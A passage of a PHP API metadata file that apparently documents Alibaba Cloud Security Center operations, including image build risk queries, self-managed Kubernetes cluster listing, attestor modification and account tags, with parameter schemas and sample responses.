'string', 'example' => 'cn-hangzhou', 'title' => '', ], 'InstanceId' => [ 'description' => 'The instance ID of the image repository.'."\n", 'type' => 'string', 'example' => '39010****', 'title' => '', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'namespace', 'title' => '', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'test-tepo', 'title' => '', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => 'a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****', 'title' => '', ], 'Tag' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'example' => 'v1', 'title' => '', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1723710827000', 'title' => '', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1723710827999', 'title' => '', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', 'title' => '', ], 'Status' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: ignored.'."\n" .'* **2**: false positive.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', 'title' => '', ], ], 'description' => '', 'title' => '', 'example' => '', ], 'title' => '', 'example' => '', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', 'title' => '', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', 'title' => '', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '109', 'title' => '', ], ], 'title' => '', 'example' => '', ], ], 'title' => '', 'example' => '', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', 'title' => '', ], 'Code' => [ 'description' => 'The response code.'."\n", 'type' => 'string', 'example' => '200', 'title' => '', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', 'title' => '', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', 'title' => '', ], ], 'example' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"6ec898e6274f942e0e4a053eff1c****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"39010****\\",\\n \\"RepoNamespace\\": \\"namespace\\",\\n \\"RepoName\\": \\"test-tepo\\",\\n \\"Digest\\": \\"a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****\\",\\n \\"Tag\\": \\"v1\\",\\n \\"FirstScanTime\\": 1723710827000,\\n \\"LastScanTime\\": 1723710827999,\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Status\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageListByBuildRisk', 'translator' => 'machine', ], 'DescribeImageBuildRiskList' => [ 'summary' => 'Queries a list of image build command risks by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '200040', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The **rule name** or **type name** of the risk. You can call the [DescribeImageBuildRiskList](~~~~) operation to obtain the name. Optional parameters:'."\n" ."\n" .'* If **CriteriaType** is set to **RiskKeyName**, you must specify a **rule name** for this parameter.'."\n" .'* If **CriteriaType** is set to**RiskClassName**, you must specify a **type name** for this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'no_user', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The query type.of the risk. Valid values:'."\n" ."\n" .'* **RiskKeyName**: the rule name of the risk'."\n" .'* **RiskClassName**: the type name of the risk'."\n", 'type' => 'string', 'required' => false, 'example' => 'RiskKeyName', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'medium', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.>'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The risks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'RiskClass' => [ 'description' => 'The type key of the risk.'."\n", 'type' => 'string', 'example' => 'other', ], 'RiskKey' => [ 'description' => 'The key of the risk. You can call the [DescribeImageBuildRiskList](~~~~) operation to obtain the value of **RiskKey**.'."\n", 'type' => 'string', 'example' => 'no_user', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1723710827000', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1723710827999', ], 'Count' => [ 'description' => 'The number of affected images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RiskClassName' => [ 'description' => 'The type name of the risk.'."\n", 'type' => 'string', 'example' => 'other', ], 'RiskKeyName' => [ 'description' => 'The rule name of the risk.'."\n", 'type' => 'string', 'example' => 'no_user', ], 'UnprocessedNum' => [ 'description' => 'The number of unprocessed images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '109', ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"RiskClass\\": \\"other\\",\\n \\"RiskKey\\": \\"no_user\\",\\n \\"FirstScanTime\\": 1723710827000,\\n \\"LastScanTime\\": 1723710827999,\\n \\"Count\\": 2,\\n \\"RiskClassName\\": \\"other\\",\\n \\"RiskKeyName\\": \\"no_user\\",\\n \\"UnprocessedNum\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageBuildRiskList', ], 'DescribeImageBuildRiskByKey' => [ 'summary' => 'Queries image build command risks by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RiskKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the risk rule. '."\n" .'> You can call the [DescribeImageBuildRiskList](~~DescribeImageBuildRiskList~~) operation to obtain the value of **RiskKey**.', 'type' => 'string', 'required' => false, 'example' => 'no_user', ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a910053dd4710173ecc9e9d8931f****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: ignored.'."\n" .'* **2**: false positive.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.>'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The risks.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'LayerDigest' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'example' => '6ec898e6274f942e0e4a053eff1c3119026a6704e56cff206b2cec71f636****', ], 'LayerCmd' => [ 'description' => 'The image build command.'."\n", 'type' => 'string', 'example' => 'user root', ], 'Advice' => [ 'description' => 'The suggestion on how to handle the risk.'."\n", 'type' => 'string', 'example' => 'do not use root user', ], 'Promt' => [ 'description' => 'The prompt message on the risk.'."\n", 'type' => 'string', 'example' => 'the root user has excessive permissions', ], 'Description' => [ 'description' => 'The description of the suggestion on how to handle the risk.'."\n", 'type' => 'string', 'example' => 'the root user has excessive permissions', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'RiskKey' => [ 'description' => 'The key of the risk rule.'."\n", 'type' => 'string', 'example' => 'no_user', ], 'RiskKeyName' => [ 'description' => 'The name of the risk rule.'."\n", 'type' => 'string', 'example' => 'no_user', ], 'RiskClass' => [ 'description' => 'The type key of the risk rule.'."\n", 'type' => 'string', 'example' => 'other', ], 'RiskClassName' => [ 'description' => 'The type name of the risk rule.'."\n", 'type' => 'string', 'example' => 'other', ], ], 'description' => '', ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '109', ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"LayerDigest\\": \\"6ec898e6274f942e0e4a053eff1c3119026a6704e56cff206b2cec71f636****\\",\\n \\"LayerCmd\\": \\"user root\\",\\n \\"Advice\\": \\"do not use root user\\",\\n \\"Promt\\": \\"the root user has excessive permissions\\",\\n \\"Description\\": \\"the root user has excessive permissions\\",\\n \\"RiskLevel\\": \\"medium\\",\\n \\"RiskKey\\": \\"no_user\\",\\n \\"RiskKeyName\\": \\"no_user\\",\\n \\"RiskClass\\": \\"other\\",\\n \\"RiskClassName\\": \\"other\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageBuildRiskByKey', ], 'DescribeCanTrySas' => [ 'summary' => 'Checks the permissions on the trial use of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'properties' => [ 'CanTry' => [ 'description' => 'Indicates whether you have the permissions on the trial use of Security Center. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'example' => '0', 'format' => 'int32', 'type' => 'integer', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => 'E90DE229-9FC6-58F6-BF4B-03AD6179****', 'type' => 'string', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanTry\\": 0,\\n \\"RequestId\\": \\"E90DE229-9FC6-58F6-BF4B-03AD6179****\\"\\n}","type":"json"}]', 'title' => 'DescribeCanTrySas', ], 'DescribeNeedAsyncQuery' => [ 'summary' => 'Queries whether slow queries need to be optimized.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92141', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query. Valid values:'."\n" ."\n" .'* **suspicious**: alerts'."\n", 'type' => 'string', 'required' => true, 'example' => 'suspicious', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the result is returned. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', 'title' => 'DescribeNeedAsyncQuery', ], 'ListPrivateK8s' => [ 'summary' => 'Queries the information about the self-managed Kubernetes clusters that are added to Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', ], 'PrivateK8sInfos' => [ 'description' => 'The information about the self-managed Kubernetes clusters.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'VpcId' => [ 'description' => 'The ID of the virtual private cloud (VPC).'."\n", 'type' => 'string', 'example' => 'vpc-2zet5l358k6z0gnz*****', ], 'ApiServerIp' => [ 'description' => 'The IP address of the API server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'K8sVersion' => [ 'description' => 'The version of Kubernetes.'."\n", 'type' => 'string', 'example' => '1.18', ], 'NetType' => [ 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet.'."\n" .'* **2**: VPC.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'xxx', ], 'KubeConfig' => [ 'description' => 'The server configuration of Kubernetes.'."\n", 'type' => 'string', 'example' => 'xxx', ], 'AliUid' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12345', ], 'Id' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RegionId' => [ 'description' => 'The ID of the region.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\",\\n \\"PrivateK8sInfos\\": [\\n {\\n \\"VpcId\\": \\"vpc-2zet5l358k6z0gnz*****\\",\\n \\"ApiServerIp\\": \\"192.168.XX.XX\\",\\n \\"K8sVersion\\": \\"1.18\\",\\n \\"NetType\\": 1,\\n \\"ClusterName\\": \\"xxx\\",\\n \\"KubeConfig\\": \\"xxx\\",\\n \\"AliUid\\": 12345,\\n \\"Id\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListPrivateK8s', ], 'ModifyAttestor' => [ 'summary' => 'Modifies the information about a witness that is created by using the container signature feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92349', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'example' => '1.2.XX.XX', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the witness.'."\n", 'example' => 'attestor-auto-ad5316', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'KeyRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the Key Management Service (KMS) key.'."\n", 'example' => 'cn-hangzhou', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'KeyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the KMS key.'."\n", 'example' => 'key-********', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'KeyVersionId', 'in' => 'query', 'schema' => [ 'description' => 'The version ID of the KMS key.'."\n", 'example' => 'key-****', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description.'."\n", 'example' => 'remark', 'required' => false, 'type' => 'string', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '9E8B1D8F-DE1C-5421-81AA-**********', 'type' => 'string', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9E8B1D8F-DE1C-5421-81AA-**********\\"\\n}","type":"json"}]', 'title' => 'ModifyAttestor', ], 'DescribeCheckWarningCount' => [ 'summary' => 'Queries the number of alerts that are triggered by a check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '144220', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of risk items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '43', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '926', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **2**: verifying'."\n" .'* **3**: passed'."\n" .'* **6**: ignored'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'AliUid', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '103784262032****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '9693CBA1-1EC4-5B5A-8D96-34010D9DXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 4,\\n \\"RequestId\\": \\"9693CBA1-1EC4-5B5A-8D96-34010D9DXXXX\\"\\n}","type":"json"}]', 'title' => 'DescribeCheckWarningCount', ], 'GetAccountLabel' => [ 'summary' => 'Obtains account tags.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '146333', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'LabelList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The tags.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag information. Valid values:'."\n" ."\n" .'* **SasStep**'."\n" .'* **SasMultiCloud**'."\n" .'* **MultiVersion**'."\n" .'* **SasMultiCloudNew**'."\n", 'type' => 'string', 'required' => false, 'example' => '["SasStep"]', ], 'required' => true, 'maxItems' => 20, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'AccountLabelList' => [ 'description' => 'The tag list.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag that you obtained.'."\n", 'type' => 'object', 'properties' => [ 'LabelSeries' => [ 'description' => 'The tag information.'."\n", 'type' => 'string', 'example' => 'SasStep', ], 'LabelStatus' => [ 'description' => 'Indicates whether the tag is valid.'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AccountLabelList\\": [\\n {\\n \\"LabelSeries\\": \\"SasStep\\",\\n \\"LabelStatus\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetAccountLabel', ], 'ListAssetInfoPublish' => [ 'summary' => 'Queries the custom upgrade information about assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'An extended parameter. This parameter is temporarily unavailable.'."\n", 'example' => 'test', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers that you want to query.'."\n", 'items' => [ 'description' => 'The UUID of the server that you want to query.'."\n", 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', 'required' => false, 'type' => 'string', ], 'maxItems' => 1000, 'required' => true, 'type' => 